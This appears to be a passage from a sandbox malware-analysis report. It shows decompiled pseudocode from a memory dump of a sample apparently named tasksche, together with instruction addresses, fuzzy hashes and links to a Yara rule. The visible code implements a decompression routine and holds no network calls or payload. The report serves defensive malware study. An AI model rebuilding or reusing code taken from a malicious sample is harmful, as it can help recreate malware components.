																		__eflags =  *((char*)(_t760 + 0x4c38));
																		if( *((char*)(_t760 + 0x4c38)) == 0) {
																			_a4 = _t445;
																			_t446 = _t760 + 0x70;
																			_t713 =  *_t446;
																			_t618 = _t713 -  *((intOrPtr*)(_t760 + 0x54));
																			_t547 =  *((intOrPtr*)(_t760 + 0xe6d8)) + 0xffffefff;
																			_v16 = _t618;
																			__eflags = _t618 - _t547;
																			if(_t618 >= _t547) {
																				goto L121;
																			}
																			__eflags = _t713 - _t547;
																			if(_t713 >= _t547) {
																				goto L121;
																			}
																			_t551 =  *((intOrPtr*)(_t760 + 0x4b34)) + _t618;
																			_v16 =  *((intOrPtr*)(_t760 + 0x4b34)) + _t713;
																			_t624 = _a4;
																			 *_t446 = _t713 + _t624;
																			__eflags =  *((intOrPtr*)(_t760 + 0x54)) - _t624;
																			if( *((intOrPtr*)(_t760 + 0x54)) >= _t624) {
																				__eflags = _t624 - 8;
																				if(_t624 < 8) {
																					L120:
																					_t625 = _a4;
																					goto L89;
																				}
																				_t449 = _t624 >> 3;
																				__eflags = _t449;
																				_v12 = _t449;
																				do {
																					E0041C290(_t551, _t758, _t760, _v16, _t551, 8);
																					_v16 = _v16 + 8;
																					_a4 = _a4 - 8;
																					_t761 = _t761 + 0xc;
																					_t551 = _t551 + 8;
																					_t263 =  &_v12;
																					 *_t263 = _v12 - 1;
																					__eflags =  *_t263;
																				} while ( *_t263 != 0);
																				goto L120;
																			}
																			__eflags = _t624 - 8;
																			if(_t624 < 8) {
																				goto L120;
																			}
																			_t451 = _v16;
																			_t627 = _t624 >> 3;
																			__eflags = _t627;
																			do {
																				_a4 = _a4 - 8;
																				 *_t451 =  *_t551;
																				 *((char*)(_t451 + 1)) =  *((intOrPtr*)(_t551 + 1));
																				 *((char*)(_t451 + 2)) =  *((intOrPtr*)(_t551 + 2));
																				 *((char*)(_t451 + 3)) =  *((intOrPtr*)(_t551 + 3));
																				 *((char*)(_t451 + 4)) =  *((intOrPtr*)(_t551 + 4));
																				 *((char*)(_t451 + 5)) =  *((intOrPtr*)(_t551 + 5));
																				 *((char*)(_t451 + 6)) =  *((intOrPtr*)(_t551 + 6));
																				 *((char*)(_t451 + 7)) =  *((intOrPtr*)(_t551 + 7));
																				_t551 = _t551 + 8;
																				_t451 = _t451 + 8;
																				_t627 = _t627 - 1;
																				__eflags = _t627;
																			} while (_t627 != 0);
																			_v16 = _t451;
																			goto L120;
																		}
																		_push( *(_t760 + 0xe6dc));
																		_push(_t760 + 0x70);
																		_push( *((intOrPtr*)(_t760 + 0x54)));
																		_push(_t445);
																		goto L77;
																		L103:
																		_t456 = E00415771(_t760,  &_v32);
																		__eflags = _t456;
																	} while (_t456 != 0);
																	goto L104;
																	L121:
																	__eflags = _a4;
																} while (_a4 <= 0);
																_t548 =  *(_t760 + 0xe6dc);
																do {
																	_a4 = _a4 - 1;
																	 *((char*)( *((intOrPtr*)(_t760 + 0x4b34)) +  *_t446)) =  *((intOrPtr*)((_t618 & _t548) +  *((intOrPtr*)(_t760 + 0x4b34))));
																	_t548 =  *(_t760 + 0xe6dc);
																	_t618 = _v16 + 1;
																	__eflags = _a4;
																	_v16 = _t618;
																	 *_t446 =  *_t446 + 0x00000001 & _t548;
																} while (_a4 > 0);
																 *(_t760 + 0x70) =  *(_t760 + 0x70) &  *(_t760 + 0xe6dc);
																if( *_t758 <  *((intOrPtr*)(_t760 + 0x7c))) {
																	goto L15;
																} else {
																	_t540 = _t760 + 0x80;
																}
															}
															_t479 = _a4 >> 3;
															__eflags = _t479;
															_a4 = _t479;
															do {
																E0041C290(_t551, _t758, _t760, _v16, _t551, 8);
																_v16 = _v16 + 8;
																_v8 = _v8 - 8;
																_t761 = _t761 + 0xc;
																_t551 = _t551 + 8;
																_t195 =  &_a4;
																 *_t195 = _a4 - 1;
																__eflags =  *_t195;
															} while ( *_t195 != 0);
															goto L88;
														}
														__eflags = _t648 - 8;
														if(_t648 < 8) {
															goto L88;
														}
														_t482 = _t648 >> 3;
														__eflags = _t482;
														_t649 = _t482;
														_t483 = _v16;
														do {
															_v8 = _v8 - 8;
															 *_t483 =  *_t551;
															 *((char*)(_t483 + 1)) =  *((intOrPtr*)(_t551 + 1));
															 *((char*)(_t483 + 2)) =  *((intOrPtr*)(_t551 + 2));
															 *((char*)(_t483 + 3)) =  *((intOrPtr*)(_t551 + 3));
															 *((char*)(_t483 + 4)) =  *((intOrPtr*)(_t551 + 4));
															 *((char*)(_t483 + 5)) =  *((intOrPtr*)(_t551 + 5));
															 *((char*)(_t483 + 6)) =  *((intOrPtr*)(_t551 + 6));
															 *((char*)(_t483 + 7)) =  *((intOrPtr*)(_t551 + 7));
															_t551 = _t551 + 8;
															_t483 = _t483 + 8;
															_t649 = _t649 - 1;
															__eflags = _t649;
														} while (_t649 != 0);
														_v16 = _t483;
														goto L88;
													} else {
														_push( *(_t760 + 0xe6dc));
														_push(_t477);
														_push(_t559);
														_push(_t640);
														L77:
														E0041264A();
														while(1) {
															 *(_t760 + 0x70) =  *(_t760 + 0x70) &  *(_t760 + 0xe6dc);
															if( *_t758 <  *((intOrPtr*)(_t760 + 0x7c))) {
																goto L15;
															} else {
																_t540 = _t760 + 0x80;
															}
															goto L7;
														}
													}
												}
												__eflags = _t558 - 4;
												if(__eflags < 0) {
													_t486 = E00412AEB(_t758);
													_t651 = 0x20;
													_v12 = _v12 + (_t486 >> _t651 - _t558);
													_t489 =  *(_t758 + 4) + _t558;
													 *_t758 =  *_t758 + (_t489 >> 3);
													_t490 = _t489 & 0x00000007;
													__eflags = _t490;
													 *(_t758 + 4) = _t490;
													goto L71;
												}
												if(__eflags > 0) {
													_t498 = E00412AEB(_t758);
													_t668 = 0x24;
													_v12 = _v12 + (_t498 >> _t668 - _t558 << 4);
													_t569 =  *(_t758 + 4) + _t558 - 4;
													 *_t758 =  *_t758 + (_t569 >> 3);
													_t570 = _t569 & 0x00000007;
													__eflags = _t570;
													 *(_t758 + 4) = _t570;
												}
												_t491 = E0040978C(_t758);
												_t565 =  *(_t760 + 0x1ef0);
												_t492 = _t491 & 0x0000fffe;
												__eflags = _t492 -  *((intOrPtr*)(_t760 + 0x1e70 + _t565 * 4));
												if(_t492 >=  *((intOrPtr*)(_t760 + 0x1e70 + _t565 * 4))) {
													_t750 = 0xf;
													_t656 = _t565 + 1;
													__eflags = _t656 - _t750;
													if(_t656 >= _t750) {
														L66:
														_t658 =  *(_t758 + 4) + _t750;
														 *(_t758 + 4) = _t658 & 0x00000007;
														 *_t758 =  *_t758 + (_t658 >> 3);
														_t660 = 0x10;
														_t495 = (_t492 -  *((intOrPtr*)(_t760 + 0x1e6c + _t750 * 4)) >> _t660 - _t750) +  *((intOrPtr*)(_t760 + 0x1eb0 + _t750 * 4));
														__eflags = _t495 -  *((intOrPtr*)(_t760 + 0x1e6c));
														if(_t495 >=  *((intOrPtr*)(_t760 + 0x1e6c))) {
															_t495 = 0;
															__eflags = 0;
														}
														_t496 =  *(_t760 + 0x2af4 + _t495 * 2) & 0x0000ffff;
														goto L69;
													}
													_t568 = _t760 + 0x1e70 + _t656 * 4;
													while(1) {
														__eflags = _t492 -  *_t568;
														if(_t492 <  *_t568) {
															break;
														}
														_t656 = _t656 + 1;
														_t568 = _t568 + 4;
														__eflags = _t656 - 0xf;
														if(_t656 < 0xf) {
															continue;
														}
														goto L66;
													}
													_t750 = _t656;
													goto L66;
												} else {
													_t662 = 0x10;
													_t497 = _t492 >> _t662 - _t565;
													_t665 = ( *(_t497 + _t760 + 0x1ef4) & 0x000000ff) +  *(_t758 + 4);
													 *_t758 =  *_t758 + (_t665 >> 3);
													 *(_t758 + 4) = _t665 & 0x00000007;
													_t496 =  *(_t760 + 0x22f4 + _t497 * 2) & 0x0000ffff;
													L69:
													_v12 = _v12 + _t496;
													goto L71;
												}
											}
											_v12 = _t469 + 1;
											goto L71;
										}
									}
								} else {
									__eflags =  *((char*)(_t760 + 0x4c38));
									if( *((char*)(_t760 + 0x4c38)) == 0) {
										 *( *((intOrPtr*)(_t760 + 0x4b34)) +  *(_t760 + 0x70)) = _t530;
										 *(_t760 + 0x70) =  *(_t760 + 0x70) + 1;
									} else {
										 *(_t760 + 0x70) =  *(_t760 + 0x70) + 1;
										 *(E00412612(_t760 + 0x4b38,  *(_t760 + 0x70))) = _t530;
									}
									while(1) {
										 *(_t760 + 0x70) =  *(_t760 + 0x70) &  *(_t760 + 0xe6dc);
										if( *_t758 <  *((intOrPtr*)(_t760 + 0x7c))) {
											goto L15;
										} else {
											_t540 = _t760 + 0x80;
										}
										goto L7;
									}
								}
							}
						}
						__eflags = _t398 - _t574;
						if(_t398 == _t574) {
							goto L21;
						}
						E00415346(_t760);
						_t517 =  *((intOrPtr*)(_t760 + 0x4c54));
						__eflags = _t517 -  *((intOrPtr*)(_t760 + 0x4c44));
						if(__eflags > 0) {
							goto L105;
						}
						if(__eflags < 0) {
							L20:
							__eflags =  *((char*)(_t760 + 0x4c48));
							if( *((char*)(_t760 + 0x4c48)) != 0) {
								 *((char*)(_t760 + 0x4c58)) = 0;
								return _t517;
							}
							goto L21;
						}
						_t517 =  *((intOrPtr*)(_t760 + 0x4c50));
						__eflags = _t517 -  *((intOrPtr*)(_t760 + 0x4c40));
						if(_t517 >  *((intOrPtr*)(_t760 + 0x4c40))) {
							goto L105;
						}
						goto L20;
					}
				}
				E004157DB(__ecx, _a4);
				_t517 = E004123EB(_t526, _t760);
				if(_t517 == 0) {
					goto L105;
				}
				_t759 = _t760 + 0x80;
				_push(_t760 + 0x80);
				_t572 = _t760 + 4;
				_push(_t760 + 4);
				_t517 = E0041450F(_t760 + 4, _t760);
				if(_t517 == 0) {
					goto L105;
				}
				_t517 = E0041462B(_t572, _t760, _t572, _t759, _t760 + 0x94);
				if(_t517 == 0) {
					goto L105;
				}
				goto L4;
			}

0x00416c47
0x00416c51
0x00416c58
0x00416ca3
0x00416ca3
0x00416ca6
0x00416cac
0x00416cb4
0x00000000
0x00416cb6
0x00416cb6
0x00416cb6
0x00416cbc
0x00416cbc
0x00416cca
0x00416ccc
0x00000000
0x00000000
0x00416ce2
0x00417282
0x00000000
0x00417284
0x00416ce8
0x00416ce9
0x00416cec
0x00416cf3
0x0041728d
0x0041728d
0x00416cf9
0x00416d04
0x00416d0b
0x00000000
0x00000000
0x00000000
0x00000000
0x00416d0b
0x00416cf3
0x00416d14
0x00416d19
0x00416d1b
0x00000000
0x00000000
0x00416d21
0x00416d21
0x00416d27
0x00416d34
0x00416d3a
0x00416d7a
0x00416d7c
0x00416d81
0x00416d87
0x00416d8c
0x00416d93
0x00416dc0
0x00416dc1
0x00416dc4
0x00416dc6
0x00416de0
0x00416de3
0x00416dea
0x00416df0
0x00416dfb
0x00416e00
0x00416e07
0x00416e0d
0x00416e0f
0x00416e0f
0x00416e0f
0x00416e11
0x00000000
0x00416dc8
0x00416dc8
0x00416dcf
0x00416dcf
0x00416dd1
0x00416dde
0x00416dde
0x00416dde
0x00416dd3
0x00416dd4
0x00416dd7
0x00416dda
0x00000000
0x00416ddc
0x00000000
0x00416ddc
0x00416dda
0x00000000
0x00416dcf
0x00416d95
0x00416d97
0x00416d9a
0x00416da4
0x00416dac
0x00416db1
0x00416db4
0x00416e19
0x00416e1e
0x00416e20
0x00416e5b
0x00416e61
0x0041725b
0x0041725d
0x00417290
0x00417296
0x004173d0
0x004173d0
0x004173d6
0x004173dc
0x004173df
0x004173e1
0x004173f0
0x004173f5
0x004173f8
0x004173fd
0x00417403
0x00417408
0x0041740f
0x0041743c
0x0041743d
0x00417440
0x00417442
0x0041745c
0x0041745f
0x00417466
0x0041746c
0x00417477
0x0041747c
0x00417483
0x00417489
0x0041748b
0x0041748b
0x0041748b
0x0041748d
0x00417495
0x00417495
0x00417498
0x004174aa
0x004174b4
0x004174b7
0x004174b9
0x004174bd
0x004174c4
0x004174c9
0x004174cf
0x004174d6
0x004174d8
0x004174d8
0x004174db
0x004174db
0x0041749a
0x0041749d
0x0041749d
0x004174de
0x004174e8
0x004174eb
0x0041750b
0x0041750e
0x00417511
0x00417515
0x00417518
0x0041751e
0x00417521
0x00417523
0x00000000
0x00000000
0x00417529
0x0041752b
0x00000000
0x00000000
0x00417531
0x00417537
0x0041753c
0x0041753f
0x00417545
0x00417548
0x0041754b
0x0041759a
0x0041759d
0x004175c6
0x004175c6
0x004175ca
0x004175d0
0x004175d6
0x004175d9
0x004175db
0x004175e1
0x004175e8
0x004175eb
0x004175f1
0x004175f8
0x004175fb
0x00417601
0x00417608
0x0041760b
0x00417611
0x00417618
0x0041761b
0x00417621
0x00417628
0x0041762b
0x00417634
0x00417634
0x0041762b
0x0041761b
0x0041760b
0x004175fb
0x004175eb
0x004175db
0x00000000
0x004175ca
0x004175a2
0x004175a2
0x004175a5
0x004175a8
0x004175ae
0x004175b3
0x004175b7
0x004175bb
0x004175be
0x004175c1
0x004175c1
0x004175c1
0x004175c1
0x00000000
0x004175a8
0x0041754d
0x00417550
0x00000000
0x00000000
0x00417552
0x00417552
0x00417555
0x00417557
0x0041755a
0x0041755c
0x00417560
0x00417565
0x0041756b
0x00417571
0x00417577
0x0041757d
0x00417583
0x00417589
0x0041758c
0x0041758f
0x00417592
0x00417592
0x00417592
0x00417595
0x00000000
0x004174ed
0x004174ed
0x004174f6
0x004174f7
0x004174fa
0x00000000
0x004174fa
0x004174eb
0x00417444
0x0041744b
0x0041744b
0x0041744d
0x00000000
0x00000000
0x0041744f
0x00417450
0x00417453
0x00417456
0x00000000
0x00000000
0x00000000
0x00417458
0x0041745a
0x00000000
0x0041745a
0x00417413
0x00417416
0x00417420
0x00417428
0x0041742d
0x00417430
0x00000000
0x00000000
0x00000000
0x00000000
0x004173e3
0x004173e3
0x004173e6
0x004173e8
0x004173e9
0x004173ec
0x004173ec
0x00000000
0x004173e3
0x00000000
0x00417296
0x00417262
0x00417266
0x0041726b
0x0041726d
0x00000000
0x00000000
0x00000000
0x00416e67
0x00416e67
0x00416e6d
0x00416e70
0x00416e82
0x00416e8c
0x00416e8f
0x00416e91
0x00416e95
0x00416e9c
0x00416ea1
0x00416ea7
0x00416eae
0x00416eb0
0x00416eb0
0x00416eb3
0x00416eb3
0x00416e72
0x00416e75
0x00416e75
0x00416ebb
0x00416ebe
0x00416ec3
0x00416ec9
0x00416ece
0x00416ed5
0x00416f02
0x00416f03
0x00416f06
0x00416f08
0x00416f22
0x00416f25
0x00416f2c
0x00416f32
0x00416f3d
0x00416f42
0x00416f49
0x00416f4f
0x00416f51
0x00416f51
0x00416f51
0x00416f53
0x00000000
0x00416f0a
0x00416f0a
0x00416f11
0x00416f11
0x00416f13
0x00416f20
0x00416f20
0x00416f20
0x00416f15
0x00416f16
0x00416f19
0x00416f1c
0x00000000
0x00416f1e
0x00000000
0x00416f1e
0x00416f1c
0x00000000
0x00416f11
0x00416ed7
0x00416ed9
0x00416edc
0x00416ee6
0x00416eee
0x00416ef3
0x00416ef6
0x00416f5b
0x00416f5b
0x00416f5e
0x00416f70
0x00416f79
0x00416f7c
0x00416f7e
0x0041707e
0x0041707e
0x00417081
0x00417087
0x0041708d
0x00417090
0x00417096
0x00417098
0x0041709b
0x004170a1
0x004170a3
0x004170a3
0x004170a3
0x004170a3
0x004170a1
0x00417096
0x004170a6
0x004170b0
0x004170b3
0x004170b9
0x004170bf
0x004170c2
0x004170c5
0x004170c8
0x004170cb
0x004170e6
0x004170e8
0x004170ed
0x004170f5
0x004170fb
0x004170fe
0x00417100
0x00417219
0x00417219
0x0041721d
0x00416ca6
0x00416cac
0x00416cb4
0x00000000
0x00416cb6
0x00416cb6
0x00416cb6
0x00000000
0x00416cb4
0x00416ca6
0x00417223
0x00417223
0x00417229
0x0041722f
0x00417239
0x00417241
0x00417247
0x0041724b
0x0041724f
0x00417252
0x00417252
0x00417256
0x00416ca6
0x00416ca6
0x00416cac
0x00416cb4
0x00000000
0x00416cb6
0x00416cb6
0x00416cb6
0x00000000
0x00416cb4
0x00000000
0x00416ca6
0x00000000
0x00416ca6
0x00417106
0x00417108
0x00000000
0x00000000
0x00417114
0x0041711e
0x00417121
0x00417126
0x00417128
0x0041712b
0x0041717c
0x0041717f
0x004171a8
0x004171a8
0x004171ab
0x004171ab
0x004171ad
0x004171b5
0x004171b8
0x004171ba
0x004171bd
0x004171c6
0x004171c9
0x004171cc
0x004171d5
0x004171d8
0x004171db
0x004171e4
0x004171e7
0x004171ea
0x004171f3
0x004171f6
0x004171f9
0x00417202
0x00417205
0x00417208
0x00417211
0x00417211
0x00417208
0x004171f9
0x004171ea
0x004171db
0x004171cc
0x004171bd
0x00000000
0x00416ca6
0x00416ca6
0x00416cac
0x00416cb4
0x00000000
0x00416cb6
0x00416cb6
0x00416cb6
0x00000000
0x00416cb4
0x0041763c
0x0041763c
0x0041763c
0x00417646
0x0041764c
0x00417652
0x0041765c
0x00417664
0x0041766a
0x0041766e
0x00417672
0x00417675
0x00417675
0x00417679
0x00416ca6
0x00416ca6
0x00416ca6
0x00000000
0x0041729c
0x0041729c
0x0041729f
0x0041729f
0x004172a7
0x004172ae
0x004172c6
0x004172c9
0x004172cc
0x004172d0
0x004172d8
0x004172de
0x004172e1
0x004172e3
0x00000000
0x00000000
0x004172e9
0x004172eb
0x00000000
0x00000000
0x004172f7
0x00417301
0x00417304
0x00417309
0x0041730b
0x0041730e
0x0041735b
0x0041735e
0x00417386
0x00417386
0x00000000
0x00417386
0x00417362
0x00417362
0x00417365
0x00417368
0x0041736e
0x00417373
0x00417377
0x0041737b
0x0041737e
0x00417381
0x00417381
0x00417381
0x00417381
0x00000000
0x00417368
0x00417310
0x00417313
0x00000000
0x00000000
0x00417315
0x00417318
0x00417318
0x0041731b
0x0041731d
0x00417321
0x00417326
0x0041732c
0x00417332
0x00417338
0x0041733e
0x00417344
0x0041734a
0x0041734d
0x00417350
0x00417353
0x00417353
0x00417353
0x00417356
0x00000000
0x00417356
0x004172b0
0x004172b9
0x004172ba
0x004172bd
0x00000000
0x0041726f
0x00417275
0x0041727a
0x0041727a
0x00000000
0x0041738e
0x0041738e
0x0041738e
0x00417398
0x0041739e
0x004173a4
0x004173ae
0x004173b6
0x004173bc
0x004173c0
0x004173c4
0x004173c7
0x004173c7
0x00416cac
0x00416cb4
0x00000000
0x00416cb6
0x00416cb6
0x00416cb6
0x00416cb4
0x00417184
0x00417184
0x00417187
0x0041718a
0x00417190
0x00417195
0x00417199
0x0041719d
0x004171a0
0x004171a3
0x004171a3
0x004171a3
0x004171a3
0x00000000
0x0041718a
0x0041712d
0x00417130
0x00000000
0x00000000
0x00417134
0x00417134
0x00417137
0x00417139
0x0041713c
0x0041713e
0x00417142
0x00417147
0x0041714d
0x00417153
0x00417159
0x0041715f
0x00417165
0x0041716b
0x0041716e
0x00417171
0x00417174
0x00417174
0x00417174
0x00417177
0x00000000
0x004170cd
0x004170cd
0x004170d3
0x004170d4
0x004170d5
0x004170d6
0x004170dc
0x00416ca6
0x00416cac
0x00416cb4
0x00000000
0x00416cb6
0x00416cb6
0x00416cb6
0x00000000
0x00416cb4
0x00416ca6
0x004170cb
0x00416f84
0x00416f87
0x0041705d
0x00417064
0x00417069
0x0041706f
0x00417076
0x00417078
0x00417078
0x0041707b
0x00000000
0x0041707b
0x00416f8d
0x00416f91
0x00416f98
0x00416fa0
0x00416fa6
0x00416faf
0x00416fb1
0x00416fb1
0x00416fb4
0x00416fb4
0x00416fb9
0x00416fbe
0x00416fc4
0x00416fc9
0x00416fd0
0x00416ffd
0x00416ffe
0x00417001
0x00417003
0x0041701d
0x00417020
0x00417027
0x0041702d
0x00417038
0x0041703d
0x00417044
0x0041704a
0x0041704c
0x0041704c
0x0041704c
0x0041704e
0x00000000
0x0041704e
0x00417005
0x0041700c
0x0041700c
0x0041700e
0x00000000
0x00000000
0x00417010
0x00417011
0x00417014
0x00417017
0x00000000
0x00000000
0x00000000
0x00417019
0x0041701b
0x00000000
0x00416fd2
0x00416fd4
0x00416fd7
0x00416fe1
0x00416fe9
0x00416fee
0x00416ff1
0x00417056
0x00417056
0x00000000
0x00417056
0x00416fd0
0x00416f61
0x00000000
0x00416f61
0x00416ed5
0x00416e22
0x00416e22
0x00416e29
0x00416e50
0x00416e53
0x00416e2b
0x00416e31
0x00416e40
0x00416e40
0x00416ca6
0x00416cac
0x00416cb4
0x00000000
0x00416cb6
0x00416cb6
0x00416cb6
0x00000000
0x00416cb4
0x00416ca6
0x00416e20
0x00416d93
0x00416d3c
0x00416d3e
0x00000000
0x00000000
0x00416d42
0x00416d47
0x00416d4d
0x00416d53
0x00000000
0x00000000
0x00416d59
0x00416d6d
0x00416d6d
0x00416d74
0x0041767e
0x00000000
0x0041767e
0x00000000
0x00416d74
0x00416d5b
0x00416d61
0x00416d67
0x00000000
0x00000000
0x00000000
0x00416d67
0x00416ca6
0x00416c5d
0x00416c64
0x00416c6b
0x00000000
0x00000000
0x00416c71
0x00416c77
0x00416c78
0x00416c7b
0x00416c7e
0x00416c85
0x00000000
0x00000000
0x00416c96
0x00416c9d
0x00000000
0x00000000
0x00000000

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: 345b0d20b664bc5a7c067b8b85495d146ce8f508c18b5b2458494fa8c5d0ce26
Instruction ID: ec473c390e775c3513d1f4c5f902ffdbdf11d251c2712a84011b28fca20aaef5
Opcode Fuzzy Hash: 345b0d20b664bc5a7c067b8b85495d146ce8f508c18b5b2458494fa8c5d0ce26
Instruction Fuzzy Hash: 5F72E770A087459FCB29CF24C5D0AE9BBF1EF55304F1584AED99A8B342D338E985CB58

Uniqueness

Uniqueness Score: -1.00%

Function 00415D9A Relevance: .8, Instructions: 795
COMMONCrypto

Download Yara Rule

C-Code - Quality: 99%

			E00415D9A(void* __ecx, signed int _a4) {
				void* _v8;
				char* _v12;
				signed int _v16;
				unsigned int _v20;
				signed int _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				char _v52;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t458;
				intOrPtr _t460;
				intOrPtr _t461;
				signed int _t462;
				signed int _t463;
				unsigned int _t464;
				signed int _t467;
				signed int _t468;
				signed int _t469;
				signed int _t471;
				unsigned int _t472;
				signed int _t475;
				signed int _t476;
				signed int _t481;
				intOrPtr _t498;
				unsigned int _t501;
				unsigned int _t504;
				intOrPtr* _t505;
				unsigned int _t506;
				signed int _t509;
				signed int _t510;
				signed int _t511;
				signed int _t512;
				signed int _t514;
				unsigned int _t519;
				unsigned int _t520;
				unsigned int _t522;
				intOrPtr* _t523;
				signed int _t525;
				char _t526;
				signed int _t528;
				signed int _t529;
				signed int _t536;
				unsigned int _t537;
				signed int _t540;
				signed int _t541;
				signed int _t549;
				signed int _t550;
				unsigned int _t569;
				unsigned int _t572;
				intOrPtr* _t573;
				unsigned int _t576;
				signed int _t579;
				signed int _t580;
				signed int _t581;
				unsigned int _t582;
				signed int _t585;
				signed int _t586;
				signed int _t587;
				unsigned int _t588;
				signed int _t589;
				signed int _t590;
				signed int _t591;
				signed int _t593;
				unsigned int _t594;
				signed int _t597;
				signed int _t598;
				signed int _t600;
				void* _t607;
				signed int _t608;
				intOrPtr _t613;
				signed int _t614;
				signed int _t617;
				void* _t619;
				intOrPtr* _t622;
				signed int _t625;
				void* _t627;
				signed char _t631;
				void* _t633;
				signed int _t634;
				intOrPtr _t636;
				char* _t639;
				char* _t640;
				void* _t642;
				intOrPtr* _t646;
				void* _t647;
				signed int _t650;
				signed int _t652;
				char* _t658;
				signed char _t663;
				signed int _t666;
				void* _t668;
				signed char _t672;
				signed int _t674;
				unsigned int _t679;
				char* _t680;
				void* _t682;
				signed int _t688;
				void* _t690;
				intOrPtr* _t692;
				void* _t693;
				signed int _t696;
				void* _t699;
				intOrPtr* _t704;
				void* _t705;
				signed int _t708;
				void* _t711;
				intOrPtr* _t716;
				void* _t717;
				signed int _t720;
				signed int _t726;
				signed int _t727;
				signed int _t732;
				signed int _t733;
				signed int _t738;
				signed int _t744;
				void* _t758;
				signed int _t759;
				intOrPtr _t761;
				char* _t762;
				signed int _t771;
				signed int _t772;
				unsigned int _t776;
				void* _t778;
				signed int _t779;
				intOrPtr _t781;
				char* _t782;
				signed int _t791;
				signed int _t792;
				void* _t806;
				intOrPtr* _t808;
				void* _t810;

				_t608 = _a4;
				_t806 = __ecx;
				if( *((char*)(_t608 + 0x2c)) != 0) {
					L3:
					_t458 =  *((intOrPtr*)(_t608 + 0x18));
					_t808 = _t608 + 4;
					__eflags =  *_t808 -  *((intOrPtr*)(_t608 + 0x24)) + _t458;
					if( *_t808 <=  *((intOrPtr*)(_t608 + 0x24)) + _t458) {
						_t613 =  *((intOrPtr*)(_t608 + 0x20)) + _t458 - 1;
						_t460 =  *((intOrPtr*)(_t608 + 0x4acc)) - 0x10;
						__eflags = _t613 - _t460;
						_v32 = _t613;
						_v36 = _t460;
						_v28 = _t613;
						if(_t613 >= _t460) {
							_v28 = _t460;
						}
						while(1) {
							L8:
							_t614 =  *(_t806 + 0xe6dc);
							 *(_t806 + 0x70) =  *(_t806 + 0x70) & _t614;
							_t461 =  *_t808;
							__eflags = _t461 - _v28;
							if(_t461 < _v28) {
								goto L15;
							}
							L9:
							__eflags = _t461 - _v32;
							if(__eflags > 0) {
								L98:
								_t526 = 1;
								goto L99;
							}
							if(__eflags != 0) {
								L12:
								__eflags = _t461 - _v36;
								if(_t461 < _v36) {
									L14:
									__eflags = _t461 -  *((intOrPtr*)(_t608 + 0x4acc));
									if(_t461 >=  *((intOrPtr*)(_t608 + 0x4acc))) {
										L157:
										 *((char*)(_t608 + 0x4ad3)) = 1;
										goto L98;
									}
									goto L15;
								}
								__eflags =  *((char*)(_t608 + 0x4ad2));
								if( *((char*)(_t608 + 0x4ad2)) == 0) {
									goto L157;
								}
								goto L14;
							}
							__eflags =  *((intOrPtr*)(_t608 + 8)) -  *((intOrPtr*)(_t608 + 0x1c));
							if( *((intOrPtr*)(_t608 + 8)) >=  *((intOrPtr*)(_t608 + 0x1c))) {
								goto L98;
							}
							goto L12;
							L15:
							_t462 =  *(_t806 + 0x70);
							__eflags = ( *((intOrPtr*)(_t806 + 0x4b30)) - _t462 & _t614) - 0x1004;
							if(( *((intOrPtr*)(_t806 + 0x4b30)) - _t462 & _t614) >= 0x1004) {
								L20:
								_t463 = E0040978C(_t808);
								_t726 =  *(_t608 + 0xb4);
								_t464 = _t463 & 0x0000fffe;
								__eflags = _t464 -  *((intOrPtr*)(_t608 + 0x34 + _t726 * 4));
								if(_t464 >=  *((intOrPtr*)(_t608 + 0x34 + _t726 * 4))) {
									_t727 = _t726 + 1;
									_a4 = 0xf;
									__eflags = _t727 - 0xf;
									if(_t727 >= 0xf) {
										L28:
										_t617 =  *(_t808 + 4) + _a4;
										 *_t808 =  *_t808 + (_t617 >> 3);
										_t730 = _a4;
										 *(_t808 + 4) = _t617 & 0x00000007;
										_t619 = 0x10;
										_t467 = (_t464 -  *((intOrPtr*)(_t608 + 0x30 + _a4 * 4)) >> _t619 - _a4) +  *((intOrPtr*)(_t608 + 0x74 + _t730 * 4));
										__eflags = _t467 -  *((intOrPtr*)(_t608 + 0x30));
										if(_t467 >=  *((intOrPtr*)(_t608 + 0x30))) {
											_t467 = 0;
											__eflags = 0;
										}
										_t468 =  *(_t608 + 0xcb8 + _t467 * 2) & 0x0000ffff;
										L31:
										__eflags = _t468 - 0x100;
										if(_t468 >= 0x100) {
											__eflags = _t468 - 0x106;
											if(_t468 < 0x106) {
												__eflags = _t468 - 0x100;
												if(_t468 != 0x100) {
													__eflags = _t468 - 0x101;
													if(_t468 != 0x101) {
														_t469 = _t468 + 0xfffffefe;
														__eflags = _t469;
														_t622 = _t806 + 0x54 + _t469 * 4;
														_v24 =  *_t622;
														if(_t469 == 0) {
															L127:
															 *((intOrPtr*)(_t806 + 0x54)) = _v24;
															_t471 = E0040978C(_t808);
															_t732 =  *(_t608 + 0x2d78);
															_t472 = _t471 & 0x0000fffe;
															__eflags = _t472 -  *((intOrPtr*)(_t608 + 0x2cf8 + _t732 * 4));
															if(_t472 >=  *((intOrPtr*)(_t608 + 0x2cf8 + _t732 * 4))) {
																_t733 = _t732 + 1;
																_a4 = 0xf;
																__eflags = _t733 - 0xf;
																if(_t733 >= 0xf) {
																	L135:
																	_t625 =  *(_t808 + 4) + _a4;
																	 *_t808 =  *_t808 + (_t625 >> 3);
																	_t736 = _a4;
																	 *(_t808 + 4) = _t625 & 0x00000007;
																	_t627 = 0x10;
																	_t475 = (_t472 -  *((intOrPtr*)(_t608 + 0x2cf4 + _a4 * 4)) >> _t627 - _a4) +  *((intOrPtr*)(_t608 + 0x2d38 + _t736 * 4));
																	__eflags = _t475 -  *((intOrPtr*)(_t608 + 0x2cf4));
																	if(_t475 >=  *((intOrPtr*)(_t608 + 0x2cf4))) {
																		_t475 = 0;
